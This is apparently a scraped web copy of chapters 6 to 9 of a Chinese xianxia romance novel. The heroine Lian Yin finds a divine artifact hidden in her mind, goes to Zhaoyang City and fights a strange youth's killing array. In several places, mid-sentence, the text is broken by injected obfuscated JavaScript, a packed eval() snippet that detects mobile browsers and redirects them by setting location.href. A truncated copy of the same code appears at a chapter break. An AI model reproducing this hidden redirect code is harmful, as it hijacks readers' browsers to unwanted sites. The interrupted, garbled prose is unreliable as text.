世界仿佛透不进一丝光亮的极夜,画卷携带的灭亡之火坠入其中,成了唯一光源。 忽然,时间静止。 高空坠落的木板、汹涌而来的热浪、身旁的伙伴……一切的一切都静止住了,唯有她。 连音立刻意识到不对劲。 境灵的身影忽然出现面前,连音不自觉警惕了起来,将身后两个人护住,随后又在看见境灵正在消散的身体时有些怔住。 他真的要消失了。 “你是觉得我会出尔反尔吗?”境灵将她的举动看在眼里,慢慢靠近,语气带着几分漫不经心,“你害怕我伤害你身后的那两个人?你们才认识多久?” 连音松开了牵着他们的手说:“不是,不是因为担心……” 境灵注视着她,连音瞬时说不出更多解释的话了……她只是害怕他生气,会出尔反尔,想说点好话哄哄他罢了。 他其实也都心知肚明,拙劣的谎言。 “你误解我的事情也不差这一两件了。”境灵低下头,掩饰住眼中一闪而过的失望,手指为她在腰间系上一只储物袋,“音音以前就一直害怕我,担心我会杀掉你……” 连音低下来的眼睫颤了一下,“原来你知道。” “是啊。”他慢慢笑起来,半边的身体消散,“但你现在一点都不担心这件事了,不是吗?其实你是相信的……对不对?” 连音沉默地没有说话。 境灵系完储物袋,抬起的视线落在她的脸上,最终只是碰了碰她的脸颊,轻声说,“音音,我是这个世界最喜欢你,最了解你的人了……” “你出去以后不要喜欢别人……” “要永远记得我……好不好?” ……他没有等到回答。 凝固的时间开始松动。 沈清乐从静止的状态里恢复,她没有察觉刚才的异常,急切地抓住连音:“快出去!这里马上就要崩塌了!” …… 秘境外是驻扎在附近的谢家修士。 见到自家少主被浑身是血地抬出来后,谢家修士立刻慌忙地围上前,传唤医修……场面一时间有些混乱。 沈清乐在幻境消耗过度,在讲述完秘境内发生的情况就马上去休息了。 而身份可疑的连音暂时被谢家修士看管了起来,等谢随醒来后定夺。 一切似乎都尘埃落定。 在等待期间,连音打开了境灵留下的储物袋。 里面的东西不多,甚至可以说一目了然。 几套衣服。 颜色和款式都是她喜欢的。 一把剑。 剑名岁安。 是小时候爹为她所锻造的,意喻岁岁平安。 还有几件法宝,也都是爹娘生前送给她的,有的很珍贵,有的只是因为她喜欢。 最后,是一只千纸鹤。 连音看完后愣了好久。 陆影将她视为珍贵的东西都还给了她,独独没有留下自己的什么东西,只有一只千纸鹤? 他很反常。 连音开始检查自己的身体,之前在秘境中还一直没有机会检查过自己现在是怎么回事。 她的身体果然很奇怪…… 受了那么严重的伤,竟然一丝修复的痕迹都没有,宛若新生。 灵海也没有变小,但境界却比之前倒退了两个大境界……一般灵海和境界是挂钩的,如果境界倒退灵海也会跟着缩小,很多招式也会受限使不出来…… 相当于她现在表面看着变菜了,实际境界并没有衰退多少吗? 连音脑袋乱糟糟的,继续检查。 她识海内似乎还有一个奇怪的东西……埋藏得很深……存在感很薄弱…… 若非连音自己检查,很可能会一眼忽略过去。 连音很快确定了它在识海内具体的位置,去靠近它…… 在探查到那件东西的真面目后,连音的心脏忽然砰砰狂跳起来—— 谢家兴师动众地在找神器,而境灵说他那里没有神器,这话也确实没说错…… 因为神器在她的身体里。 倘若这个消息泄露,连音马上就会遭到追杀!神器在她识海内明显是已经认主的情况,神器认主后除非宿主死亡,是不可能离身的。 这个消息被别人知道的后果,那等待她的结局只有死亡。 守在门口的谢家修士似乎注意到她格外焦虑不安的情绪,视线落在了她的脸上,带着静静的审视。 连音努力忽略胸腔内那颗乱跳的心,重新打开储物袋。 她取出了千纸鹤。 她将千纸鹤放在了手掌里,托举到阳光落下的必经之路上。 阳光下,千纸鹤白洁的翅膀微微透光,像是被揉碎的金辉洒在雪白的宣纸上。没多时,它纸制的身体便染上了微微发烫的温度,有些暖洋洋。 记忆中的学堂,阳光总是这么温暖明媚。 她曾在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834875|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里给陆影讲起巫师的故事。 那是她在另一个世界从书上看来的,那个时候她常年住在病房,最喜欢看小说,喜欢里面天马行空的世界…… 在那个巫师的故事里,里面有一种用千纸鹤传信的法术。 陆影听罢,便随手折出一只千纸鹤,送给她…… 见门口的谢家修士移开视线,连音拆开了这只纸鹤。 「音音,祝你前途无量,光芒万丈。」 白纸上的墨字微微变动,组成了一句全新的话。 「虽然很想这么说,但是你真的过得很好,应该很快会忘了我吧?那样就没时间怀念我的好了……」 所以这就是在她身体里塞神器的理由吗? 连音有些烦躁地等着字继续变化,她要知道这件神器是什么?怎么用? 然而陆影却没再提起过神器的事情了。 「音音要是过得很可怜,我也会很难过的,感觉自己失职了T T」 「我们之间有许多误会,如果我直接留给你什么,结局应该不是被扔掉就是被卖掉。」 「所以我将那些东西都留在了别的地方,你随时可以来拿,接下来是地图——」 纸上的墨色线条分离,缓缓拼凑出了一张地图的模样。 地图底下又是哭泣的小表情,旁边还跟着一行小字,「看在它还有价值的份上,留下它吧。」 连音没再看,她有些烦躁地将这张纸丢回了储物袋。 但想到之后可能会被谢家修士盘查储物袋,她又将纸重新取出来,沿着折痕,耐着性子将它重新折回千纸鹤的形状。 连音原来还疑心境灵怎么这么简单的消失了,现在看来她醒来的那片秘境并不是陆影真正的陨落之地。而地图上画的才是他真正的陨落之地。 她储物袋里没有钱,没有钱肯定是不行的,她储物袋里的东西都是爹娘留下的,她一件都不会卖。要想赚灵石只能 信上的意思也很明显。 如果在外面过不下去了,想起他的好了,就去找他。 诡计多端!她绝对不会去找他的! 连音刚将折好的千纸鹤丢回储物袋,门外就传来谢家修士的声音。 “醒了!少主醒了!” 隔壁屋传来一阵很热闹的动静,好像是谢随醒了。 没过多久,连音便被喊了进去。 房间里没有别人。 谢随正坐在床上,阳光越过窗,落在少年苍白得毫无血色的脸颊上。 “坐吧。”他声音听着很虚弱。 连音找到他的时候他已经奄奄一息了,完全是吊着一口气出来的,要不是门外就有驻扎的谢家修士,可能谢随都撑不到城中。 这么重的伤,刚醒过来就马上能坐着讲话,他的生命力还真旺盛。 连音心中感慨,想到自己现在是一个没有见识的散修,正想客气地推脱了一下就听见谢随又说,“别墨迹,快坐下来,我不喜欢仰着头看人。” 谢随表情不太好,他醒来后就看到一群谢家修士围着自己,那么多张脸挤在他的眼前。他想坐起身,却又被大家按住,跟瘫了一样,怎么见人? 于是他特意坐了起来,才让人喊了连音过来。 看着连音坐下来,谢随开口道:“我知道是你救了我,我在昏迷之前看见你了……” 他神色有些不自然,连音猜测他可能是长久以来一直把自己当成菜鸟,没想到紧要关头却被菜鸟捞出去了,自信有点受挫,并且最终是躺着出秘境的。 连音很快将话题重新带到秘境上,“你之前昏迷了,应该还不知道秘境的情况吧?他们和你说过吗?” 谢随点了点头,“已经听说过了,多亏了你和沈道友……” 他说着,视线突然落在连音腰间挂着的储物袋上。 连音不自觉紧张起来。这个储物袋是境灵最后才还给她的,之前没有过的,谢随从她醒来就和她一起走了,说不好会他问起这个储物袋的事情,从而怀疑她…… 连音边想着解释,边打断他的思绪,“怎么了吗?” 谢随问道:“你身上有神器吗?” 7. 第 7 章 连音僵硬了瞬,脑海划过多种猜测,强迫自己定下心神,“什么神器?” 谢随说:“就是问你本来有没有神器?算了,我问这个干嘛,你也不像有神器的样子……” 他停顿了一下,说道:“其实这次秘境之行,谢家对外声称可能会有神器出现,实则谢家内部几乎确信这个秘境内会有神器。” 连音问:“因为预言?” 谢随点了点头说:“如今我没有带回神器,待会恐怕得检查一下你的储物袋了,否则家主那边很难交差。” 检查别人储物袋是一种很不礼貌的行为,更何况别人前脚才救了他。 其实卸磨杀驴的做法在修仙世家里是很常见的,尤其连音刚出秘境,几乎没人知道她救过谢随,就算直接杀了也传不出去。只检查储物袋算是最温和的手段了。 “哦,没关系。”连音说,“那你没有带回神器,回去会不会受罚啊?” “没带回就没带回吧,没什么事。”谢随像是不愿多提,说道,“既然现在有空,那就现在检查一下吧。” 连音知道他身受重伤估计是没力气站起来地,闻言便起身解下储物袋走向他。虽然有境灵种下的精神暗示,并且谢家在当今也是顶尖势力,但连音还是有些担心,“我里面有爹娘留下的法宝,比较珍贵……不是秘境里带出来的……” 谢随很无语:“多珍贵啊?我能贪你爹娘留给你那两个法宝吗?回头我送你一堆行了吧?” “不用一堆。”连音将储物袋递给他。 里面的东西不多,谢随很快就检查完了,唯一可疑的就是那只千纸鹤了,他问道:“千纸鹤是什么?” 连音回答说:“前夫送的。” 谢随愣了:“……前夫?” 连音伸手拿回自己的储物袋,说:“是啊,他死了很久了。” 谢随闻言,陷入了沉默当中。 很快,他又转移了话题:“你爹娘留给你的法宝确实还不错,有几件挺好的,记得别让别人知道。对了,你爹娘应该不是散修吧?” 连音将储物袋挂好,系牢,说,“嗯,他们都是中州的修士,当年挺厉害的,后面突然失去消息了,我这次出来就是想找到他们的。” 谢随:“……抱歉。” 人突然没了消息,那十有八九就是死了啊。 一连问了别人两个伤心问题,谢随也不好意再问什么了,说道,“如果你找人还没消息的话,我可以请我们家的智道修士请你找一下,正好我也想感谢你在秘境里救了我,谢家大本营在昭阳城,云舟过去很快的。” 古往今来,凡智道大成者,无一例外全是天才。 这一道完全就是看天赋的,努力没用,因此智道修士格外稀缺,厉害的智道修士更是难请,也只有顶级势力,大家族会供养那么一两位智道修士了。 连音对父母的下落毫无头绪,瞎找肯定是不行的,找一个智道修士帮忙是唯一的办法,她如今没有人脉,如果错过谢随搭线,可能接下来几十年都遇到这样的机会。 但是跟着他回昭阳城是不是太危险了?到时候谢家要是发现他身上被种下魂道印记……那不是很容易怀疑到她身上吗? 不过魂道也比较特殊,谢随也不一定会做这方面的检查,而且她只是问个消息,应该一两天就解决了吧? 连音很快下定决心:“好啊,我们什么时候出发?” 谢随早就和谢家修士定下了回去的时间,“今晚。” “这么赶吗?”连音有些惊讶,又看了看他身上的伤,“你这样……” 谢随无所谓说:“没什么事,乘云舟也要三天路程呢,路上养养,到那就好了。” 连音闻言也没再打扰他休息,很快离开了房间。 谢随醒来后,连音的嫌疑人身份也被洗脱,外面的谢家修士对她的态度也温和了许多,门外也不再有人站着看守。 连音回到屋内,刚放松下来,门外忽然响起一阵叩门声。 难道是沈清乐找她? 连音在这里没什么认识的人,谢随刚打过招呼,能想到的也只有沈清乐了。 连音打开门,门外是一位陌生的谢家修士。 “连姑娘,我们少主让我过来给你检查一下有没有受伤。” 医修? 连音想到自己识海内的神器,婉拒道:“不用了,我没受什么伤。” 医修微笑道:“有没有受伤要检查了才知道,有些伤是看不出来的,还是检查一下比较好。” 连音说:“……” 她在推脱下去就会有些奇怪了,这个医修这么坚持,难道是谢随还没有放弃怀疑? 医修见连音不动,又道:“姑娘,我也是奉命办事,不好什么都不做吧?大家都看着呢。” 神器的气息很微弱,就连她自己都很难捕捉到,寻常医修检查也不会进入识海。 连音只好先将人放了进来。 这位医修给她检查的很细致,边说边给她开了一些调理的药,“虽然身体没什么事,但心病也是病,忧思过度也会影响修炼的……” “最后还再检查一下识海就好了。”医修在说完这话的同时,连音便察觉到有道陌生温和的灵力已经进入到自己识海内。 医修手中的法器能够让灵力变得很温和,让人对它卸下防备。 连音有些害怕医修会发现什么,放在膝盖上的手指微微握紧…… 这位医修的境界并不高,他应该发现不了。 医修的灵力来到了神器附近,然后没有丝毫停顿地越过了神器。 耳畔传来悦耳的声音,“好了,检查完了。” 医修离开后,连音并不敢放松。 她害怕刚才的医修只是假装没看出来,回头就带着谢家修士来杀她。 连音就这么怀着惴惴不安的心来到了晚上,到了出发的时间。 她预想的事情并没有发生。 连音刚来到外面,就有谢家修士和她打招呼。 大家的态度也没有异常。 连音提起的心这才渐渐放了回去,跟随谢家修士登上了云舟。 云舟上有许多房间,连音打算随便挑一件空房间住着,正巧遇到了沈清乐。 “小连!”沈清乐休息了半天已经恢复了精神,跑来和连音打招呼,“我下了云舟就要回九宵派,你要不要和我一起呀?” 连音将还要找人的说辞又提了一遍,说,“等找到了,就去中洲找沈师姐玩。” 沈清乐虽然有些遗憾,也表示理解,很快和她聊起别的话题:“对了,小连,那我们留个玉简吧!到时候不在一起也可以经常联系呀,没准哪里就碰上了。” 连音大脑宕机了一下:“玉简?” “就是玉简呀!”在她不解的神情里,沈清乐拿出了一块长方形的光滑玉牌,往里面微微注入灵力便亮了起来,出现了一排排联系人列表,甚至还有聊天频道…… 连音微微睁大眼睛:“……!!” 这不是手机吗?外面已经进化成这样了吗?? 沈清乐奇怪道:“你不认识吗?” 毕竟是躺了三百年后复活的,外面变化大一点也正常。 连音很快镇定下来,说道:“不是,我刚才只是没听清,后来看到师姐有这么多好友就很震惊,但是我现在手里钱不多,所以还没有买玉简……” 沈清乐立刻用一种看小可怜的眼神看着她,说道:“没关系!师姐送你!师姐有多的!” 连音连忙推脱道:“不用了!我之后自己会买的……” 沈清乐说:“不行,你之后再买就加不上我好友了!” 连音在推脱赛上肯定赢不过沈清乐,一旦遇到太热情的人她就拒绝不了。 最终连音还是收下了沈清乐送的玉简,回到了房间。 接下来三天连音本打算都在房中修炼的,但耐不住沈清乐一次次敲门来找。 她们很快熟络起来,到了昭阳城后,连音见沈清乐要转别的云舟去中洲甚至都有些不舍。 谢随虽然伤好了大半,但要忙的事情也多,一下云舟就不见人影了。 不过他没有忘记派人安顿连音。 “少主说他得明天才能答谢连姑娘,今日恐怕抽不开身。”谢家修士送过来一块令牌,介绍道,“这是谢家贵宾令,可在昭阳城内随意使用,少主说很抱歉怠慢了连姑娘,希望连姑娘今晚可以在昭阳城玩得开心。” 贵宾令牌是大家族用来招揽结交外姓修士的手段,相当于无限额度的黑卡,可以在他们家族所管辖的城池里任意消费。 连音没想到谢随竟然会这么大方,随便就给她了……该不会是因为那个保护救命恩人的指令吧? 说到底境灵究竟给他们种下什么指令,连音也不得而知,如果是要他发疯自残的怎么办?还是等离开的时候提醒一下谢随吧。 连音小心将令牌收好,打算今晚就去城中逛逛,恶补一下自己这三百年错过的东西,顺便打听一下该怎么赚灵石比较快。 谢随用人情债抵了救命之恩,她自然不能再让他给自己灵石了。 - 华灯初上,昭阳城内城一片繁华热闹之景。 游人摩肩擦踵,长街两旁商铺林立,门前檐下挂着各式各样的灯笼,远远望去,整条长街像蜿蜒的游龙。 连音刚从茶馆里打听完消息出来。 老老实实打工是不可能了,工资非常低,基本只够温饱。来钱最快的办法除了跟随大家族去下秘境,还有就是去打擂台赛…… 总结,危险的活儿来钱都快。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834876|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连音心中隐约有了一个赚钱的主意,不过她不太喜欢那种地方,等明天再看看吧。 连音收回思绪,发现自己不知不觉走到了一片湖边,不远处似乎在举办什么活动,特别热闹。 她凑上前看。 湖光夜色里,一艘两层高的华美画舫静静浮于水面,船身与粼粼波光交相辉映,熠熠生辉。一张棋盘幻影,在空中清晰浮现。 连音好奇地站在边上听了会,了解到来龙去脉。 原来是有一名修士在这里设下赌局,只要有人能够解开他的棋局就赏灵石一万,但那位修士脾气很不好,如果没有解开,他就会把人丢到湖里,让人反复溺水,不允许人上岸。 连音原本只是凑个热闹,却发现那画舫主人摆出的残局正好是自己少时背过的,有几种解法她都烂熟于心。这一万灵石对她来说简直就像送的一样。 只要赚了这一万,明天就不用苦恼该怎么赚钱了,而如今画舫之上正好无人挑战……倒霉了这么久,她确实也该走运了吧? 连音走上前去。 围观的人见一名少女登上画舫要挑战,纷纷沸腾了。 “有人上去了!她能行吗?又是碰运气的吧?” “喂!姑娘,这可不兴试的!要是不会你就赶紧下来!就算你长得漂亮,人家也不会怜香惜玉的!” “怎么就不行了!姑娘你可千万别下来!赶紧把这棋局解开,让我们好好瞧瞧你的本领!” 有人好言相劝,也有人鼓舞怂恿。 棋盘摆在船楼前,后面是层层叠叠被风拂动的朦胧轻纱,透过柔和的灯光,隐约可以窥见一个人影,应该就是船主人。 连音没管周围的声音,径直走到棋盘前坐下,看向棋局。 白子先行。 连音拿过装着白棋的棋罐,先手落下一子。 过了片刻,有人影在她对面坐下,一只苍白到不可思议的手从纱帐后面伸出,执着黑子,落下。 连音克制住好奇心,低着眸,继续落子。 她每走一步,船主人便会续上一步,两边落子的速度都很快。 棋盘上风云厮杀,时间分分秒秒流逝。 半个时辰过去,围观修士见少女还没被船主人丢下去,风向也逐渐转变。 “这姑娘该不会真有本事吧?她什么来头啊?” “这一万灵石不会真要被她拿到手了吧?” 连音原先还不确定,下到后面她已经能够完全预判出对方下一步要落子的位置。 一个局部下完后,连音抬起头,船主人正躺在榻上,几层朦胧的纱帐隔在二人中间,轻轻漂浮,他手里还拿着本书,单手翻着,像是在看棋谱。 连音顿时有些哭笑不得,这人多无聊啊,花一万灵石找人下棋,自己却完全照着棋谱下。 按照棋谱,这盘棋完全下完还需要六七个小时。连音说:“这本棋谱我也看过,我们还要接着下吗?” 船主人闻言,侧头看了她一眼,然后放下手里的书本,慢慢坐起身,“你想和我玩别的?” 他声音透着股少年的懒散劲,问,“玩什么?” 连音看他这模样也不是喜欢下棋,斟酌着说道:“如果你不想下棋,其他的我也不一定擅长……” “哦,原来你是想走了。”船主人失望地说,“你觉得和我待在一起很无聊?” 平白被扣了一顶帽子,连音解释说:“没有,只是看你兴致似乎不高。” “兴致不高?”纱帐后的人忽然轻轻笑了起来,“是啊,我确实兴致不高,那你呢,你希望我高兴起来吗?” 连音:“……” 他高不高兴和她又有什么关系? 连音虽然是这样想的,却不能这么说。 “我希望你高兴,你就会高兴吗?你——” “——是啊。”船主人的眼睛透过一层层轻纱,紧紧盯着她,语调却是截然相反的轻慢,“如果你希望我高兴的话,我确实会高兴一点,但具体还要看你做了什么……” 连音心中升起一阵不详的预感,她视线看向周围,湖对岸的人影和繁华建筑全都消失了,取而代之的是一片璀璨的星河。 不知何时她被拉入了对方的杀阵之中。 “比如你掉到水里面淹死,再比如……你可以挟持我,杀了我。”船戏人笑着说,“要选吗?哦,你现在好像也没得选了。” 疯子。 在他话音落下的瞬间,连音召出岁安剑,身影迅捷如电,闪入帐中,电光火石间,将剑刃抵在了船主人的颈侧。 扬起的轻纱落下,一双交叠的人影出现在纱帐上,朦胧暧昧。 在看清船主人容貌的那一刻,连音怔住了。 第一眼占据视线的不是他的脸,而是他白金色的长发。 8. 第 8 章 眼前的少年着一袭玉色的绸缎衣,衣扣是色泽艳丽的红玉,白金色的长发散在身后,撑在榻上的手腕间带着两串白红相间的玉石珠串,如同他这个人,漂亮到令人惊艳的五官,苍白到病态的脆弱肌肤。 连音先前冲进来急,剑锋压得很近,少年的脖颈上被划出一道微小的血痕。 连音下意识把剑往回收了一些,问道:“你想干什么?” “玩啊。”少年仰头看着她,就算脖颈被冰冷的利器抵着也没丝毫紧张感,紫罗兰色的眼睛在灯下泛起无害的温色,“你不觉得现在很好玩吗?” 到底谁想和他玩啦? 连音无语地说:“不觉得,快把杀阵取消。” “取消的话,会被外面的人看见呢。”少年眼睫微扬,笑吟吟地问,“还是你喜欢和我被误会啊?” 少年是坐着的,连音的剑要想准确横在少年的脖子上,手臂自然也只能与他的身体保持同一高度,从物理视觉上看,此刻就像是她压在他身上。 “……” 到底谁要和他被误会啊? 连音没心情和他开玩笑,将剑刃又压近了几分,还没想好威胁的话要怎么说,少年便抬手抓住了剑刃。锋利的剑身瞬间划破手掌,血珠无声滚落到他的衣袍上,染开刺目的鲜红。 连音一惊,察觉到他还要拿着剑往自己脖子上抹的意图,立刻抓住他的手:“你干什么?!” “帮你啊。”少年望向她抓着自己的手,说,“你不是要威胁我?杀掉我吗?” 连音说:“我杀了你,我也活不了,我们无冤无仇,你没必要霍出性命害我吧?” 这里是谢家主城,这少年身份非富即贵,死了肯定不是小事。 “有人为你霍出性命不好吗?”少年鼓励她,“虽然外面都是护卫,但你也可以试着跑一跑的。” 连音:“……” 和这个人聊天感觉有代沟。 鲜红的血不断从他苍白修长的指骨间流出,连音看着心烦,想收回剑,却发现这少年不松手了。 连音:“?” 两人僵持了片刻,连音被迫开始找话题。 “你知道的,我不想杀你,我只是路过……我们能先把手松开讲话吗?” 少年不说话,手也不松开。 连音叹了口气,不解道:“你长得这么好看,又这么有钱,为什么要想不开呢?” 少年神色似乎略有触动:“因为……” 他话刚起了个头,就听见一声清脆的骨骼折断的声响,是连音把他的手腕骨掰折了。 连音快速地把剑收了回来,拿出谢随给的贵宾令牌,狐假虎威地说道,“我和你们谢少主是朋友,你最好马上就放我走!” “谢随威胁不到我。”少年神色逐渐冷淡下来,他嘴唇缓缓勾出一个恶劣的笑,眼中却没什么温度,“不信你今晚就等他来接你试试?他今晚会来吗?” 连音:“……” 怎么感觉情况更糟糕了,难道他和谢随有仇吗? 而且谢随今晚确实来不了,指望不上他。 连音无奈只能问:“你怎么样才能放我离开?” 少年反问:“你很讨厌和我待在一起吗?” 连音怀疑自己只要说是,他马上就能一头撞死污蔑自己。 连音说:“没有,你不要曲解我意思……” 少年盯着她:“哦,那你喜欢我?” 连音:“……” 她下次,绝对不会再相信天下掉馅饼的好事了!也不会再参加什么赌局了! 连音无奈地说:“世界又不是非黑即白的,有没有可能我不讨厌你也不喜欢你,我想离开只是因为我们不熟?” 他淡淡道,“反正我现在解除杀阵,你就会马上走吧?意思又没差。” 杀阵是需要修士到达一定境界才能领悟的招式,而面前这位少年的杀阵似乎拥有将人困在境中,操控星辰的能力。 连音放弃了:“好吧,我在这里等你灵力耗尽。” 维持杀阵是很消耗灵力的,她不信这名少年能撑很久。 少年却忽然伸出手:“帮我把伤包扎一下,我就放你走。” 他说这话时,视线并没有看她,像是并不在乎她会怎么选。 连音说,“我没带药。” 他说:“房间里有。” 连音视线在船楼里转了圈,还真让她找到了一个疑似药箱的盒子,就是这个发展也太奇怪了吧? 怎么会有人上一秒还用命威胁她,下一秒又要她帮忙上药包扎 连音取来药箱,放在榻上,怀疑道:“你不会骗我给你上药,然后偷袭我吧?” 少年懒懒地伸出手:“你想把我另外的手和腿都折了也可以啊。” 连音打开药箱说,“我又不是故意报复你,等会给你接回去?” 他没有接话,微垂下眸,神色安静地看着她取出伤药与纱布,专注的侧脸在灯下氤氲出几分回忆的美好。 这种程度的皮外伤看着鲜血淋漓,但找过医修后就能好得很快,因此连音也只是简单地给他包了一圈,主要是也没什么耐心。 “好了。”连音抬起头,正好撞进他的眼睛里。他的视线好像长存在她的身上般,久久未动,有什么如同下雨般难过的情绪正在化开。 连音微怔了下,问:“怎么了吗?” “没什么。”旁边的灯火在少年眼里的明暗之间交替,他淡淡移开视线,看向船楼外逐渐解除的星河杀阵,现实的声音从遥远的湖对岸传来。 “你走吧。”他说。 连音见他愿意放人,马上掀开纱帐走了出去,生怕他又反悔。 然而在她迈出船楼的那一刻,原本正在瓦解的星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834877|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河杀阵却迅速恢复原状,连音神色微变,回过头,眸中带了几分怒意,“你——” 身后出尔反尔的少年倚在榻上,紫罗兰色的眼睛弯起笑意,缠着雪白纱布的手抬起,指了指上方,染血的衣袖垂在榻间,轻声说,“要小心哦。” 下一秒,天上万千星辰倒悬,化作流光箭矢向她袭来。 连音侧身闪躲的同时拔剑,剑刃与星矢相撞,激起的灵力波动掀开纱帘。 少年依旧坐在榻上,看着连音斩断箭矢,偶尔有几道遗漏的星矢会在触及她衣角的瞬间,化作星芒漂浮空中,围绕在她的身侧,似如蹁跹飞舞的流萤。 他看了会儿,伸手闲闲取过一枚棋子,点在棋盘中。 天上星辰斗转排列,隐约形成危月燕冲月之势。 危月燕在星象里被视为大凶,如今出现在杀阵中,威力自然也不容小觑。 极端的进攻手段必定会牺牲一部分杀阵的稳固性。 连音努力镇定下来,很快便找到杀阵中的破绽。她抓住机会,在危月燕完全成形之前,沿着暗线撕开了杀阵的一角——画舫外真实的夜色显露。 连音刚从杀阵里出来就听见身后的少年说,“刚才那个人刺杀我……” 不用想也知道是在告状。 好不要脸!但连音已经没有时间感叹他的无耻了,因为在他话音落下的瞬间,湖对岸的人群里就出现了几道正在往这赶的身影,得赶紧跑了! “发生了什么?” “不知道啊……这……” 湖对岸的修士们只能远远地看见少女的身影忽然消失又忽然出现提着剑开始跑。 “抓住她!抓住前面那个刺客!” …… 连音跑得很快,借着夜色在街巷里四处乱钻,遮掩行踪。一个钟头下来,倒真让她甩开了身后追来的那些护卫。 没有抓到人的护卫:“走!去那边看看!” 脚步声逐渐远去。 一墙之隔的连音气喘吁吁:“……” 还真难缠,刚才那个少年竟然能指使动谢家的守城护卫,他究竟是什么人? 算了,反正她很快就会离开昭阳城,之后也不可能遇到了,得罪就得罪吧。 连音刚走出暗巷,折返而来的脚步声忽然从街道两侧响起,朝她包围而来,心脏一瞬间跳得特别快,仿佛倒计时般,催促着她快行动。 连音正打算选个方向突围,后腰忽然被人轻轻揽住。 那人单手按住她想要出鞘的剑,手臂拥着她轻轻一拉,扬起的外袍从她头顶罩下,掩盖住她的身形,将她密不透风地抱在怀中。 连音微怔,在身体撞入他怀中的瞬间,似乎闻到他衣上淡淡的血腥气。这明明是一种令人畏惧的恶心气味,但她的感官似乎已经习惯,甚至觉得有点安心。 街道两旁的脚步声逐渐靠近…… 9. 第 9 章 “少主?您怎么在这里?” “我为什么在这还需要向你交代吗?” 连音听出是谢随的声音,手中一直僵持着要拔剑的力道缓缓卸去。 “是……” 前面的人似乎还想再说什么,谢随语气不耐道,“还不快滚。” 这次周围很快响起了一阵离开的脚步声。 待到耳畔再次回归安静,谢随却没松开怀抱,盖在她手上的手掌也没移开,陌生的温度有些滚烫。 连音感到奇怪,轻轻推了他一下。 谢随这才有了反应,抬手揭开外袍。清冷的月光倾泻而下,映照着少女皎洁的脸庞,她的发丝微微有些凌乱,有几缕还勾到了他的衣服上。 连音正要拉开距离,谢随按住她的肩膀,“等一等。” 连音以为是追兵折返回来了,连忙又躲了回去,身体再次撞到一起。 谢随伸出去帮她整理发丝的手指微微僵了一下,随后神色如常地说,“你头发勾我衣服上了。” 原来不是外面的追兵折返了。 连音重新退开,看见他手指正在解自己缠绕的发丝,惊奇道,“你竟然能注意这种小事!”又问,“对了,你怎么在这里?你不是今晚回不来了吗?” 谢随收回手,说:“我刚办完事,听说有人在城里闹事,就顺便过来抓人了,没想到闹事的人是你。” 闹事?连音想到那少年告状的模样就来气,但他可能和谢随有仇,谢随现在脑子不知道被种了什么指令,到时候新仇旧恨一起发作,谁知道会和那个少年发生什么冲突?那样肯定会耽误打听消息,找人的事情。 连音将吐槽的冲动按捺下来,大事化小地提道:“没什么,就是遇到一个很讨厌的人,他看我不顺眼就派了一堆人追我。” 没关系,她晚上回去就会和沈清乐吐槽的。 谢随说:“你没给他看我的令牌吗?” 连音:“……没有,忘了。” 如果说看了,对方不仅不怕,还更挑衅了,那应该会被分分钟猜出是谁吧? “下次给你东西记得用。”谢随说完,又笑道,“这么说来,你今晚应该还没好好逛过昭阳城吧?我带你逛逛吧,也算尽地主之谊了。” 连音有些想回去了,“刚才那些城卫还在找我……” 谢随拉起犹豫的少女,说,“怕什么?” 隔着衣袖,连音都能感受到少年掌心炙热的温度,存在感明显。 他带着她往前走,“你跟我走在一起,没有人敢怀疑你的身份。” 连音抬头看少年的背影,怀疑地问道,“那你刚才为什么要遮掩?” 不仅遮掩,还抱了她那么久…… 谢随松开手,转头看她的表情像是在看白痴,“当面被抓的嫌疑犯和我身边可疑的人,这两个意思能一样吗?” 连音:“……确实不一样。” “好吧,我带你逛逛。” 两人一前一后走在闹市中,街道两旁是喧闹的摊贩,吆喝着兜售各种各样的小玩意儿。 谢随走在前面,仿佛路过什么摊位都要停下来,买一份送给身后的连音,也没问她喜不喜欢,就是一直送。 边送边说, “这个你肯定没见过吧?” “那个你肯定没吃过吧?” “还有这个……” 连音起先出于礼貌都接了过来,后面她实在受不了:“别买了,谢随!别再送我东西了!” 谢随问:“怎么了?你拿不下你放储物袋里不就行了?” 连音:“我的储物袋也不是垃圾桶吧?它不会装满吗?” 谢随:“那再买几个储物袋不就行了?” 附近的摊主听了两人的谈,忍不住笑道,“小伙子,追姑娘可不是这样追的,送得再多都不如送一件合人家心意的!” 谢随愣了下,连忙转过头说:“我没那个意思,你别多想!” 连音有些心累地点点头:“……嗯。” 她知道,估计又是境灵的指令在搞鬼,但是境灵应该不会下这种指令吧? 他再怎么说也是陆影的一部分,怎么可能……算了,不想了。 